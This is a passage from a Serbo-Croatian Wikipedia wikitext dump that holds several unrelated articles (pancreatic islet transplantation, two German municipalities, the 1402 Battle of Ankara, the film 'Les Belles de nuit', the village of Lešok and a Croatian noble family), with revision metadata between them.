'''Transplantacijom izolovanih fetalnih ili adultnih ostrvaca endokrinog pankreasa''' Ovu vrstu transplantacije karakteriše primena fetalnog endokrinog pankreasa ili endokrinog dela fetalnog pankreasa koji ima sposobnost za dalji rast i razvoj. Preostali deo [[pankreas]]a podleže razgradnji u toku pripreme i nakon transplantacije.<br />Ova metodu karakteriše mala zapremina transplantiranog tkiva, jednostavnost primene uz minimalnu hiruršku intervenciju.<br />Dostupnost fetalnog tkiva je nažalost ograničena i zahteva poštovanje strogih etičkih pravila. Insulinska nezavisnost nakon primene humanih fetalnih ostrvaca nije zabeležena, ali je postignut značajno smanjenja doze insulina (za oko 30%) uz stabilnu kontrolu nivoa glikemije (u trajanju od oko 6 meseci) i usporavanje napredovanja promena na krvnim sudovima oku, srcu, bubregu i neravima.<ref name="pmid17130583">{{Cite journal | author = Pileggi A, Cobianchi L, Inverardi L, Ricordi C | title = Overcoming the challenges now limiting islet transplantation: a sequential, integrated approach | journal = Annals of the New York Academy of Sciences | volume = 1079 | issue = | pages = 383–98 | year = 2006 | pmid = 17130583 | issn = 0077-8923 | doi =10.1196/annals.1375.059 }}</ref> „''Dok se transplantacija celog pankreasa pokazala kao veoma efikasna u održavanju euglikemije ona je povezana sa značajnim rizikom od operativnih i postoperativnih komplikacija. Transplantacija ostrvaca je atraktivnija kao manje invazivna alternativa u odnosu na transplantacijeu celog pankreasa i ima perspektivu u budućnost ako se izvrši imunosupresija primenom predtransplantacione kulture. Transplantacijom ostrvaca međutim, ne može se uvek postići održiv nivo glukoze u krvi i potpuna kontrole neophodne za smanjenje rizika od sekundarnih komplikacija dijabetesa a pacijent se izlaže negativnim efektima imunosupresije. Iako je napredak nedavnih istraživanja dovelo do uvećanja stope insulinske nezavisnost posle transplantacije ostrvaca, daljim razvojem istraživanja potrebno je da se poboljša dugoročna održivost i funkcija ostrvaca i zadrži poboljšana kontrola glukoze tokom vremena.''“<ref name="pmid18081223">{{Cite journal | author = Meloche RM | title = Transplantation for the treatment of type 1 diabetes | journal = World Journal of Gastroenterology | volume = 13 | issue = 47 | pages = 6347–55 | year = 2007 | pmid = 18081223 | doi = 10.3748/wjg.13.6347 }}</ref> == Reference == {{reflist|2}} == Povezano == * [[Pankreas]] * [[Pol Langerhans]] * [[Insulin]] * [[Šećerna bolest]] == Vanjske veze == {{portal|Medicina}} * [http://isletbook.islets.se "THE ISLETS OF LANGERHANS"] {{Webarchive|url=https://web.archive.org/web/20180814205135/http://isletbook.islets.se/ |date=2018-08-14 }}, [http://ki.se/ki/jsp/polopoly.jsp?l=en&d=130 Karolinska Institutet, Sweden] {{Webarchive|url=https://web.archive.org/web/20140213063218/http://ki.se/ki/jsp/polopoly.jsp?d=130&l=en |date=2014-02-13 }} * [http://www.landesbioscience.com/journals/islets "Islets" međunarodni časopis za klinička i eksperimentalna istraživanja fiziologije i patologije Langerhansovih ostrvaca i srodnih tema] * [http://www.isletsociety.org/ „Islet Society“ Nezavisna oganizacija za promociju osnovnih i primenjenih istraživanja Langerhansovih ostrvaca, u kontekstu dijabetesa.] * [http://www.lab.anhb.uwa.edu.au/mb140/CorePages/Liver/liver.htm#ExPanc Pancreas, human - H&E] {{Webarchive|url=https://web.archive.org/web/20090929121403/http://www.lab.anhb.uwa.edu.au/mb140/CorePages/Liver/liver.htm#ExPanc |date=2009-09-29 }}, ''Blue Histology - Accessory Digestive Glands'', School of Anatomy and Human Biology, The University of Western Australia * [http://www.bionet-skola.com/w/Gušterača Bionet škola] {{Webarchive|url=https://web.archive.org/web/20201202053129/https://www.bionet-skola.com/w/Gu%C5%A1tera%C4%8Da |date=2020-12-02 }} * Basislehrbuch Innere Medizin, H.Renz-Polster, S. Krauzig, J.Braun, Urban und Fischer {{de}} * [http://pathologyoutlines.com/pancreas.html#normal Pathology outlines, „Pankreas“] {{en}} * [http://www.vivo.colostate.edu/hbooks/pathphys/digestion/pancreas/index.html Colostate, „Pankreas“] {{Webarchive|url=https://web.archive.org/web/20180505012745/http://vivo.colostate.edu/hbooks/pathphys/digestion/pancreas/index.html |date=2018-05-05 }} [[Kategorija:Medicina]] [[Kategorija:Anatomija]] pk83wyzddkxl55cda35y00j5v2mgifw 0 1362279 42602540 42516604 2026-05-27T12:25:26Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602540 wikitext text/x-wiki {{Grad u Nemačkoj | naziv = Klajnajtingen | izvorni_naziv = ''Kleinaitingen'' | slika = | opis_slike = | gradska_zastava = | grb = Wappen_Kleinaitingen.svg | država = [[Njemačka]] | pokrajina = [[Bavarska]] | lokacija = | osnivanje = | stanovništvo = 1.221<ref>Broj stanovnika po [http://web.archive.org/web/20100919050210/http://www.destatis.de/jetspeed/portal/cms/Sites/destatis/Internet/DE/Content/Statistiken/Regionales/Gemeindeverzeichnis/Administrativ/AdministrativeUebersicht,templateId=renderPrint.psml njem. Saveznom zavodu za statistiku]. [http://web.archive.org/web/20100827050647/http://www.destatis.de/jetspeed/portal/cms/Sites/destatis/Internet/DE/Content/Statistiken/Regionales/Gemeindeverzeichnis/Administrativ/Archiv/GV2000VJ/2Q__30062010__Auszug,property=file.xls Stanje] 30. 6. 2010.</ref> | gustina = 78 | aglomeracija = | površina = 15,7 | gšir = 48.21667 | gduž = 10.83333 | nadmorska_visina = 539 | registarska_oznaka = A | pozivni_broj = 08203 | poštanski_kod = 86507 | dan_grada = | veb-strana = [http://www.kleinaitingen.de/ www.kleinaitingen.de] | gradonačelnik = ''Franz Schäfer'' | stranka = CSU/UW | ije = da }} '''Klajnajtingen''' ({{jez-nem|Kleinaitingen}}) je opština u [[Njemačka|njemačkoj]] saveznoj državi [[Bavarska]]. Jedno je od 46 opštinskih središta okruga [[Okrug Augsburg|Augsburg]]. Prema procjeni iz 2010. u opštini je živjelo 1.221 stanovnika. Posjeduje regionalnu šifru (''AGS'') 9772160. == Geografski i demografski podaci == [[Datoteka:Kleinaitingen in A.svg|mini|levo|250px|Položaj opštine u okrugu Augsburg]] Klajnajtingen se nalazi u saveznoj državi [[Bavarska]] u okrugu Augsburg. Opština se nalazi na nadmorskoj visini od 539 metara. Površina opštine iznosi 15,7&nbsp;km². U samom mjestu je, prema procjeni iz 2010. godine, živjelo 1.221 stanovnika. Prosječna gustina stanovništva iznosi 78 stanovnika/km². == Reference == {{reflist}} == Literatura == {{refbegin|2}} * {{BergerGeographischeNamenInDeutschland}} * {{FulbrookConciseHistoryOfGermany}} * {{ShawUrbanHistoricalGeography}} * {{HomeGermany}} * {{HammDemographicChange}} * {{BerghahnModernGermany}} * {{KleinerAtlas}} * {{GrosserAtlas}} {{refend}} == Vanjske veze == {{portal|Nemačka}} {{Commonscat|Kleinaitingen}} * [http://www.kleinaitingen.de/ Zvanični sajt opštine] {{Webarchive|url=https://web.archive.org/web/20150801223147/http://kleinaitingen.de/ |date=2015-08-01 }} {{de}} * [http://www.destatis.de/ Nem. Savezni zavod za statistiku] {{de}} * [http://www.staedtetag.de Stalna konferencija gradova i opština] {{de}} * [http://www.kommon.de/ KommOn] {{Webarchive|url=https://web.archive.org/web/20140429185843/http://www.kommon.de/ |date=2014-04-29 }} - Informacioni sistem gradova, opština i okruga. {{de}} {{Nezavisni gradovi i opštine u okrugu Augsburg}} e8d95f4qjq92ifuo5yxgx3w7ivm8you 0 1364412 42602641 42517888 2026-05-28T01:18:43Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602641 wikitext text/x-wiki {{Grad u Nemačkoj | naziv = Lajferde | izvorni_naziv = ''Leiferde'' | slika = | opis_slike = | gradska_zastava = | grb = Wappen von Leiferde.png | država = [[Njemačka]] | pokrajina = [[Donja Saksonija]] | lokacija = | osnivanje = | stanovništvo = 4.380<ref>Broj stanovnika po [http://web.archive.org/web/20100919050210/http://www.destatis.de/jetspeed/portal/cms/Sites/destatis/Internet/DE/Content/Statistiken/Regionales/Gemeindeverzeichnis/Administrativ/AdministrativeUebersicht,templateId=renderPrint.psml njem. Saveznom zavodu za statistiku]. [http://web.archive.org/web/20100827050647/http://www.destatis.de/jetspeed/portal/cms/Sites/destatis/Internet/DE/Content/Statistiken/Regionales/Gemeindeverzeichnis/Administrativ/Archiv/GV2000VJ/2Q__30062010__Auszug,property=file.xls Stanje] 30. 6. 2010.</ref> | gustina = 157 | aglomeracija = | površina = 27,9 | gšir = 52.43889 | gduž = 10.43861 | nadmorska_visina = 62 | registarska_oznaka = GF | pozivni_broj = 05373 | poštanski_kod = 38542 | dan_grada = | veb-strana = [http://www.leiferde.de/ www.leiferde.de] | gradonačelnik = ''[[Matthias Nerlich]]'' | stranka = CDU | ije = da }} '''Lajferde''' ({{jez-nem|Leiferde}}) je opština u [[Njemačka|njemačkoj]] saveznoj državi [[Donja Saksonija]]. Jedno je od 41 opštinskog središta okruga [[Okrug Gifhorn|Gifhorn]]. Prema procjeni iz 2010. u opštini je živjelo 4.380 stanovnika. Posjeduje regionalnu šifru (''AGS'') 3151015. == Geografski i demografski podaci == [[Datoteka:Leiferde_in_GF.svg|mini|levo|250px|Položaj opštine u okrugu Gifhorn]] Lajferde se nalazi u saveznoj državi [[Donja Saksonija]] u okrugu Gifhorn. Opština se nalazi na nadmorskoj visini od 62 metra. Površina opštine iznosi 27,9&nbsp;km². U samom mjestu je, prema procjeni iz 2010. godine, živjelo 4.380 stanovnika. Prosječna gustina stanovništva iznosi 157 stanovnika/km². == Reference == {{reflist}} == Literatura == {{refbegin|2}} * {{BergerGeographischeNamenInDeutschland}} * {{FulbrookConciseHistoryOfGermany}} * {{ShawUrbanHistoricalGeography}} * {{HomeGermany}} * {{HammDemographicChange}} * {{BerghahnModernGermany}} * {{KleinerAtlas}} * {{GrosserAtlas}} {{refend}} == Vanjske veze == {{portal|Nemačka}} {{Commonscat|Leiferde}} * [http://www.leiferde.de/ Zvanični sajt opštine] {{Webarchive|url=https://web.archive.org/web/19991128153717/http://leiferde.de/ |date=1999-11-28 }} {{de}} * [http://www.destatis.de/ Nem. Savezni zavod za statistiku] {{de}} * [http://www.staedtetag.de Stalna konferencija gradova i opština] {{de}} * [http://www.kommon.de/ KommOn] {{Webarchive|url=https://web.archive.org/web/20140429185843/http://www.kommon.de/ |date=2014-04-29 }} - Informacioni sistem gradova, opština i okruga. {{de}} {{Nezavisni gradovi i opštine u okrugu Gifhorn}} 9wgxk6tt9k65cogol8fkjetih83hh6r 0 1382692 42602631 42525352 2026-05-28T00:30:36Z CommonsDelinker 806 Zamjenjujem datoteku Battle_of_Ankara.jpg datotekom [[:File:Timur_together_with_his_horse_and_three_army_leaders_being_lowered_by_ropes_down_a_mountainside_in_the_Kaf_mountains_(1397)._Zafarnama._India,_1600._Source-_Or._1052,_f.182v_(cropped).jpg|Timur_t 42602631 wikitext text/x-wiki {{Infokutija vojni sukob | sukob = Bitka kod Ankare | dio = [[Osmansko-mongolskih sukobi|osmansko-mongolskih sukoba]] | slika = Timur together with his horse and three army leaders being lowered by ropes down a mountainside in the Kaf mountains (1397). Zafarnama. India, 1600. Source- Or. 1052, f.182v (cropped).jpg | opis_slike = Bitka kod Angore 1402. god. | datum = [[20. jul]] [[1402]]. | mjesto = blizu [[Ankara|Ankare]] | teritorija = | rezultat = Ubedljiva [[Tamerlan]]ova pobeda | strana1 = [[Datoteka:Timurid.svg|20px]] [[Timuridska Monarhija|Tamerlanovo carstvo]] | strana2 = [[Datoteka:Flag of the Ottoman Sultanate (1299-1453).svg|25px]] [[Osmansko carstvo]]<br /> | strana3 = | komandant1 = [[Tamerlan]] | komandant2 = [[Bajazit I]] | komandant3 = | snaga1 = <center> nepoznata | snaga2 = <center> nepoznata | snaga3 = | gubici1 = <center> 15000 do 25000 ubijenih i povređenih | gubici2 = <center> 15000 do 40000 ubijenih i povređenih | gubici3 = | napomene = }} '''Bitka kod Angore''' odigrala se [[28. jul]]a [[1402]]. godine između Osmanlijskih Turaka pod komandom turskog sultana [[Bajazit I|Bajazita I]] i Mongola pod komandom [[Tamerlan]]a. Tamerlan je iz bitke izašao kao pobednik dok je sultan Bajazit I koga je vojska izdala, pao u zarobljeništvo i ubrzo umro. Ishod bitke imao je za posledicu gubitak većine osvojenih teritorija u [[Mala Azija|Maloj Aziji]] i stagnaciju turske ekspanzije za duži vremenski period. U otomanskoj vojsci bili su vazalni srpski odredi [[Stefan Lazarević|Stefana Lazarevića]], kao i braće [[Grgur Branković|Grgura]] i [[Đurađ Branković|Đurđa Brankovića]].<ref name="Fajfrić-Brankovići">[http://www.rastko.rs/kosovo/istorija/zfajfric-brankovici.html Željko Fajfrić: Sveta loza Brankovića, elektronsko izdanje knjige iz 1999.]</ref> "''Posle Bajazitova poraza svi pobegoše u Carigrad, izuzev Grgura, koga su Tatari bili zarobili, ali se posle otkupio''" ([[Mavro Orbin]]).<ref name="Fajfrić-Brankovići"/> == Pozadina == {{main|Tamerlan|Bajazit I}} Težeći da uspostavi raniju [[Džingis-kan]]ovu imperiju, njegov navodni potomak Tamerlan, usmerio je krajem [[14. vek]]a svoje osvajačke pohode prema zapadu, u pravcu prednje [[Azija|Azije]]. U isto vreme je turski sultan Bajazit I širio vlast Turaka Osmanlija u suprotnom pravcu, osvajajući redom kneževine Turaka Seldžuka u Maloj Aziji, čiji su se emiri sklanjali kod Tamerlana. [[1394]]. godine Bajazit I je opseo [[Vizantijski Carigrad|Konstantinopolj]]. [[1396]]. godine u [[Bitka kod Nikopolja|bici kod Nikopolja]] uništio je evropsku krstašku vojsku, koja je krenula u pomoć ospednutom gradu. Tamerlan je nedugo zatim poslao ambasadora Bajazitu I sa zahtevom da podigne opsadu Konstantinoponja i vrati sve osvojene zemlje vizantijskom caru Manojlu II. Bajazit je digao opsadu Konstantinopolja, ne da bi izbegao sukob, već da bi sa vojskom krenuo u [[Anadolija|Anadoliju]] Tamerlanu u susret. U proleće 1402. godine krenuo je Tamerlan preko Erzindžana za Sivas. Dotle je Bajazit prikupio svoju vojsku kod Angore i odatle pošao na istok prema Tokatu, da sačeka Timura na planinskom i pokrivenom terenu, koji je više pogodovao osmanlijskoj vojsci, čija je glavna snaga bila u pešadiji. Mudro birajući bojno polje pogodno za konjanike koji su činili glavninu mongolske vojske, Tamerlan nije pokušao da preseče put Bajazitu, već je sa svojim tatarskim konjanicima zaobišao Tokat s juga, dolinom Kizil Irmaka stigao pred [[Tvrđava|utvrđenu]] [[Ankara|Angoru]] i opseo je. Bajazit je krenuo ka Angori sa vojskom da bi po dolasku ustanovio da su se Mongoli utaborili na mestu gde je prvobitno bio turski logor i da su zauzeli izvore slatke vode. Jedini izvor koji je tekao prema turskim položajima bio je zagađen. Moderna arheološka istraživanja sugerišu da su Mongoli izvršili značajne inžinjeriske radove kako bi u odsudnom trenutku skrenuli tok potoka ka pripremljenim rezervoarima i tako ostavili tursku vojsku bez vode. Na ovaj način Mongoli su isprovocirali Bajazita na napad u situaciji koja je bila znatno nepovoljnija za njegovu vojsku. Iako je imao opciju da se povuče i izabere najpovoljniji trenutak za napad, isprovocirani Bajazit, kojem su njegovi ljudi nadenuli nadimak „Munja“ odlučio se za napad. == Sukobljene strane == [[Datoteka:Timur Anatolia campaign.jpg|minijatura|Timurova kampanja u Anadoliji.]] O obostranoj jačini sukobljenih strana nema pouzdanih podataka. Pretpostavlja se da Tamerlan nije mogao imati više od 80.000, a Bajazit najviše oko 40.000. Bajazit je u sklopu svoje vojske imao katapulte za bacanje [[grčka vatra|grčke vatre]] ali je u žurbi da stigne Mongole ostavio svoju artiljeriju daleko iza sebe. S druge strane Tamerlan je u sastavu vojske imao 32 borbena slona i bacače nafte, mada su i jedni i drugi imali mali uticaj na tok bitke. U Bajazitovoj vojsci, među vazalima, bilo je oko 2.000 Srba koje je predvodio [[Stefan Lazarević]]<ref>A History of Greece: The Byzantine and Greek empires, pt. 2, A.D. 1057-1453 by George Finlay, Henry Fanshawe Tozer; Clarendon Press, 1877,About the Serb contingent: ''Ducas (35. edit. Paris) makes the Servians 5000; Chalcocondila (78) says 10,000. But the Servian contingent was fixed at 2000 heavy cavalry in the first treaty between Servia and the Byzantine empire and Sultan Bayezid adopted the same number when he completed the subjection of Servia.''</ref>. Takođe su učestvovali Stefanov brat [[Vuk Lazarević|Vuk]] i njihovi sestrići [[Grgur Branković|Grgur]] i [[Đurađ Branković|Đurađ]], sinovi [[Vuk Branković|Vuka Brankovića]], sa nepoznatim brojem vojnika. Među srpskim najamnicima bilo je nekoliko stotina teško [[oklop]]ljenih konjanika. == Tok bitke == U zoru 28. jula obe su se vojske postrojile za bitku [[sever]]no od Angore. Na krilima turskog borbenog poretka nalazili su se konjanici ([[spahija|spahije]], [[akindžije]] i vazalne trupe). Desnim osmanlijskim krilom, na kojem se nalazila Anadolska vojska, komandovao je najstariji Bajazitov sin Sulejman. Levim krilom, koje je bilo sastavljeno od Rumelijske vojske, među kojima se nalazilo i 5.000 srpskih vojnika sa oko 500-600 teških konjanika, komandovao je Bajazitov šurak, Stefan Lazarević. U centru turskog rasporeda nalazila se najjača formacija turske vojske sastavljena od [[janjičari|janičara]] i [[azapi|azapa]] kojima je komandovao lično sultan Bajazit kao i elitne turske konjice [[sipai]] kojima je komandovao Bajazitov drugi sin Mehmed. Tok bitke može se rekonstruisati samo u glavnim potezima. Turci su napali prvi. Do sudara je došlo najpre između desnog mongolskog i levog osmanlijskog krila. Mongoli su odbačeni akcijom srpskih trupa čiju hrabrost ističu vizantijski i persijski izvori. Srpski konjanici rasterali su mongolske strelce na konjima i sudarili se sa mongolskom konjicom koja je pod silnim naletom teško oklopnjenih srpskih konjanika počela da popušta i da se povlači. Za njima je nastupala srpska pešadija. Prema nekim izvorima brzina napredovanja srpske teške konjice je bila tolika da je Bajazit u jednom trenutku, uplašen da će njegovo levo krilo biti odsečeno od glavnine snaga izdao naredbu za njihovo povlačenje na položaje bliže centru turske vojske. Na desnom osmanlijskom krilu trupe tek potčinjenih seldžučkih emirata, koje su odmah prešle na stranu Mongola, počele su da podilaze desnom krilu turskog rasporeda. Potom je usledio snažan napad mongolske konjice koji je u potpunosti razbio desno tursko krilo. Posle izvesnog vremena sva je laka osmanlijska konjica bila razbijena, a Stefan Lazarević odsečen od centra koji je još uvek odolevao mongolskim napadima. Kada je Stefan Lazarević video da turska vojska napušta bojno polje i da dalja borba nema više smisla, odlučio je da se povuče. U toku povlačenja, iako ranjen, probio se zajedno sa svojim oklopnicim do Bajazita kako bi mu omogućio da se povuče. Tvrdoglavi Bajazit, koji je još uvek čvrsto držao centar sa 10.000 janičara, odbio je da napusti bojno polje verujući da ishod bitke još uvek nije odlučen. Kada je ovaj odbio, Stefan se povukao sam prema zapadu štiteći od mongolskih odreda Sulejmanovo povlačenje. Duž ovog puta u blizini Ankare i dan danas postoji toponim Srp gazi (srpski pobednik) koji svedoči o hrabrosti i junaštvu srpske vojske. Bajazit je na jednom visu nastavio borbu s janičarima do večeri, ali je pri pokušaju da se probije pao s konja i bio zarobljen. Uskoro je umro u ropstvu. Zarobljen je i Grgur Branković, ali je kasnije otkupljen. == Posledice == === Smrt Bajazita === {{main|Bajazit}} [[Datoteka:Chlebowski-Bajazyt w niewoli.jpg|mini|500p|[[Stanislav Hlebovski]], ''Sultan Bajazit I u Timurovom zarobljeništvu'', 1878, prikazuje držanje Bajazita kao taoca od strane Timura.]] Tamerlan je posle pobede poharao [[Bursa|Bursu]] u kojoj se nalazila Bajazitova riznica. Nakon bitke je zarobljena i jedna od Bajazitovih žena [[Olivera Lazarević|Olivera]], sestra Stefana Lazarevića, koji ju je nakon toga otkupio i odveo na svoj dvor. Tamerlan je u početku imao korektan odnos prema zarobljenom Bajazitu ali ne zadugo. Počeo je da ga vodi svuda sa sobom u kavezu i da ga koristi kao oslonac za noge. Bajazit je umro u martu [[1403]]. nakon osam meseci provedenih u zarobljeništvu. === Otomanski dinastički rat === {{main|Otomanski građanski rat}} Tamerlan, koji je nastavio dalja osvajanja u Maloj Aziji ubrzo je osvojio [[Izmir|Smirnu]] koju su branili [[vitez]]ovi [[Hospitalci|Jovanovci]] i spalio je. Ponovo je vratio na vlast emire koje je Bajazit isterao iz Anadolije. Na prostoru Otomanskog carstva u raspadanju došlo je do [[Otomanski građanski rat|rata između Bajazitovih sinova]]. Osmanlijska država je bila na granici propasti ali je Tamerlan odlučio da organizuje pohod na [[Kina|Kinu]]. Umro je na pola puta. Najstariji Bajazitov sin Sulejman, koji je iz borbe za presto izašao kao pobednik, nastojao je da Anadoliju ponovo uvrsti u teritorije Osmanlijske države. === Srpski dinastički rat === {{main|Stefan Lazarević|Đurađ Branković|Brankovići|Lazarevići}} Posle Bajazitovog poraza svi srpski vazali pobegoše u [[Carigrad]], izuzev Grgura, koga su Tatari bili zarobili, ali se posle otkupio.<ref name="Fajfrić-Brankovići"/> Stefan Lazarević je prvi stigao u Konstantinopolj, gde je od namesnika preostalih teritorija [[Vizantijsko carstvo|Vizantijskog carstva]] [[Jovan VII Paleolog|Jovana VII]] dobio titulu [[despot]]a, najviše vizantijsko dostojanstvo posle carskog. Tek kasnije će uvideti da mu ta titula, izuzev nekog prestiža, u suštini ništa opipljivije ne donosi.<ref name="Fajfrić-Brankovići"/> Na povratku u Srbiju upustio se u borbu za presto sa svojim sestrićem [[Đurađ Branković|Đurađem Brankovićem]] koja će trajati sve do njihovog izmirenja [[1412]]. godine. == Povezano == * [[Otomanski građanski rat]] == Izvori == {{reflist|2}} == Literatura == * „[[Vojna enciklopedija]]“, Vojnoizdavači zavod, Beograd 1970. == Vanjske veze == {{commonscat|Battle of Ankara}} * [http://www.istorijskabiblioteka.com/art:bajazit-i Istorijska biblioteka: Bajazit I] {{Webarchive|url=https://web.archive.org/web/20140409163358/http://www.istorijskabiblioteka.com/art:bajazit-i |date=2014-04-09 }} * [http://www.politikin-zabavnik.rs/pz/tekstovi/%D1%98uris-srpske-konjice Juriš srpske konjice] {{Webarchive|url=https://web.archive.org/web/20140223081308/http://politikin-zabavnik.rs/pz/tekstovi/%D1%98uris-srpske-konjice |date=2014-02-23 }} [[Kategorija:1402.]] [[Kategorija:Ankara]] [[Kategorija:Osmanske bitke|Ankara]] [[Kategorija:Srpske bitke|Ankara]] [[Kategorija:Srednjovjekovne bitke|Ankara]] 16jemn4pp0vkfw78gaj5iw8fp85fil4 0 1431391 42602644 42318045 2026-05-28T01:53:33Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602644 wikitext text/x-wiki {{Infokutija film | tip = c/b | naslov = Les Belles de nuit | slika = Les Belles de nuit poster.jpg | opis = filmski poster | režija = [[René Clair]] | producent = [[René Clair]]<br />[[Angelo Rizzoli]] | scenario = René Clair<br />'''adaptacija:'''<br />Pierre Barillet<br />Jean-Pierre Grédy | uloge = [[Gérard Philipe]]<br />[[Martine Carol]]<br />[[Gina Lollobrigida]]<br />[[Magali Vendeuil]] | muzika = [[Georges Van Parys]] | fotografija = Armand Thirard | montaža = Louisette Hautecoeur<br />Denise Natot | studio = Franco London Films<br />Rizzoli Film | distributer = Société des Etablissements L. Gaumont (Francuska) | premijera = {{Filmdate|1952|9}} ([[13. venecijanski filmski festival|Venecija]]) | trajanje = 87 min. | zemlja = {{flag|Francuska}}<br />{{flag|Italija}} | jezik = francuski }} '''''Les Belles de nuit''''' ({{jez-sh|Ljepotice noći}}) je [[francuska]] crno-bijela [[fantasy|fantastična]] [[filmska komedija]] snimljena 1952. u režiji [[Rene Clair|Renea Claira]]. Protagonist, čiji lik tumači [[Gérard Philipe]], je siromašni učitelj i neuspjeli kompozitor, koji spas od sumorne svakodnevnice pronalazi u snovima, gdje odlazi u prošlost, postaje slavan i uspješan te zavodi lijepe žene. Radnja prikazuje probleme koji nastanu kada otkrije da neke od tih ljepotica podsjećaju na žene koje sreće na javi. ''Les Belles de nuit'', u kome su nastupile neke od najvećih zvijezda tadašnje francuske i italijanske kinematografije, se obično smatra jednim od slabijih Clairovih filmova. Pažnju je, pak, izazvao i scenom u kojoj se lik Gine Lollobrigide kupa gola; iako je ona prilično čedna za današnje standarde, zbog nje je Les Belle de nuit postao predmetom [[filmska cenzura|cenzure]] u nekoliko država, uključujući [[SAD]]. == Uloge == * [[Gérard Philipe]] ... Claude * [[Martine Carol]] ... Edmee * [[Gina Lollobrigida]] ... Leila / Blagajnica * [[Magali Vendeuil]] ... Suzanne * [[Marilyn Buferd]] ... Madame Bonacieux / Poštanska službenica * [[Raymond Bussières]] ... Roger, mehaničar * [[Raymond Cordy]] ... Suzannein otac Gaston / Marquis * [[Bernard La Jarrige]] ... Léon, žanar / Leon, žandar * [[Albert Michel]] ... Poštar * [[Palau (glumac)|Palau]] ... Stari gospodin * [[Jean Parédès]] ... Paul, apotekar * [[Paolo Stoppa]] ... Direktor opere == Vanjske veze == * {{bifi titre|id=47664}} * {{imdb title|44409}} * [http://filmsdefrance.com/FDF_Les_Belles_de_nuit_rev.html ''Les Belles de nuit''] {{Webarchive|url=https://archive.today/20130123023144/http://filmsdefrance.com/FDF_Les_Belles_de_nuit_rev.html |date=2013-01-23 }} at Films de France {{Clair}} {{Normativna kontrola}} {{DEFAULTSORT:Belles de nuit, Les}} [[Kategorija:Francuski filmovi]] [[Kategorija:Filmovi fantastike]] [[Kategorija:Filmske komedije]] [[Kategorija:Italijanski filmovi]] qhfamvwundl4vrr8u7jy3d0jhx994vg 0 1453539 42602651 42354818 2026-05-28T02:31:42Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602651 wikitext text/x-wiki {{Naseljeno mesto u Makedoniji-lat |mesto = Lešok |izvorno_ime = <small>{{jez-mak|Lešok}}</small> |grb = |slika = Lešočki na esen (1).JPG |opis_slike = Manastir Lešok |opština = Tearce |populacija = 440 |nadm visina = 560 |gšir = 42.0638 |gduž = 21.0327 |pozivni broj = +389 (0)44 |poštanski kod = 1224 |registarska oznaka =TE }} '''Lešok''' ({{jez-mak|Lešok}}) je naselje u [[Republika Makedonija|Republici Makedoniji]], u severnom delu države. Lešok pripada [[Opština Tearce|opštini Tearce]]. U Lešoku se nalazi istoimeni [[Manastir Lešok]] (posvećen [[Sveti Atanasije Veliki|Svetom Atanasiju]]), jedan od najčuvenijih u zapadnom delu [[Makedonija (oblast)|Makedonije]]. == Prirodni uslovi == [[Datoteka:Dokument od selska opstinska uprava Lesok, 1918.JPG|mini|levo|200px|Dokument seoske opštine Lešok 1918. godine]] Naselje Lešok je smešteno u severnom delu [[Republika Makedonija|Republike Makedonije]]. Od najbližeg većeg grada, [[Tetovo|Tetova]], naselje je udaljeno 10&nbsp;km severno. Lešok se nalazi u donjem delu istorijske oblasti [[Polog]]. Naselje je položeno na severozapadnom obodu [[Pološko polje|Pološkog polja]]. Istočno od naselja pruža se [[polje]], a zapadno se izdiže [[Šar-planina]]. Nadmorska visina naselja je približno 560 metara. Klima u naselju je [[umereno kontinentalna klima|umereno kontinentalna]]. == Historija == == Stanovništvo == Lešok je prema poslednjem popisu iz [[2002.]] godine imao 435 stanovnika. Pretežno stanovništvo u naselju su etnički [[Makedonci]] (99%). Većinska veroispovest je [[pravoslavlje]]. == Znamenitosti == U Lešoku se nalazi istoimeni [[Manastir Lešok]] (posvećen [[Sveti Atanasije Veliki|Svetom Atanasiju]]), jedan od najčuvenijih [[Vizantija|vizantijskih]] [[spomenik]]a na području [[Republika Makedonija|Republike Makedonije]]. Sastoji se od crkava posvećenih [[Sveti Atanasije Veliki|Svetom Atanasiju Velikom]], [[Bogorodica|Bogorodici]] i [[Knez Lazar|Knezu Lazaru Kosovskom]]. Bogorodičina crkva se prvi put pominje [[1326]]. godine. == Povezano == * [[Opština Tearce]] * [[Spisak sela u Makedoniji]] == Izvori == * [http://www.stat.gov.mk/publikacii/knigaX.pdf Popis u Makedoniji 2002. - Knjiga 10.] == Vanjske veze == {{Commonscat|Lešok}} * [http://www.tearce.gov.mk www.tearce.gov.mk Zvanična stranica opštine Tearce] {{Webarchive|url=https://web.archive.org/web/20071214225834/http://www.tearce.gov.mk/ |date=2007-12-14 }} * [http://mitropolija.cg.yu/aktuelno/saopstenja/s010821_l.html Albanci srušili Lesočki manastir] {{Webarchive|url=https://web.archive.org/web/20071011120904/http://www.mitropolija.cg.yu/aktuelno/saopstenja/s010821_l.html |date=2007-10-11 }} * [http://www.lesok.org.mk/ Udruženje za obnovu manastira] {{Webarchive|url=https://web.archive.org/web/20130625154956/http://www.lesok.org.mk/ |date=2013-06-25 }} {{Opština Tearce}} [[Kategorija:Opština Tearce]] g1tzi2q4jsf6tk57f4zf2entygnn468 0 1458281 42602623 42493752 2026-05-27T22:32:23Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602623 wikitext text/x-wiki {| class="wikitable" align="right" width="295px" style="margin-left:1em; margin-bottom:1em;" |- |align="center" colspan="5" bgcolor="#8CC00"|'''Lacković''' |- |align="center" colspan="2" | [[Datoteka:Grb Lackovića.JPG|250px|Grb]] |- |align="center" colspan="2" bgcolor="#aeef10"|'''hrvatska velikaška obitelj''' |- |align="center" colspan="2" | |- | '''Utemeljenje''' || [[14. stoljeće]] |- | '''Utemeljitelj''' || [[Ladislav Lacković]] |} '''Lackovići''', hrvatska velikaška obitelj koja je vladala, uz prekide, nad [[Transilvanija|Transilvanijom]] u [[14. stoljeće|14. stoljeću]]. Obitelj je također dala banove [[Hrvatska|Hrvatskoj]], [[Slavonija|Slavoniji]], [[Dalmacija|Dalmaciji]] i [[Bugarska|Bugarskoj]], knezove [[Zadar|Zadru]], palatine [[Ugarska|Ugarskoj]], isto kao i potkralja [[Napulj]]u. Osim u hrvatskom obliku prezimena, obitelj je bila poznata i pod imenom 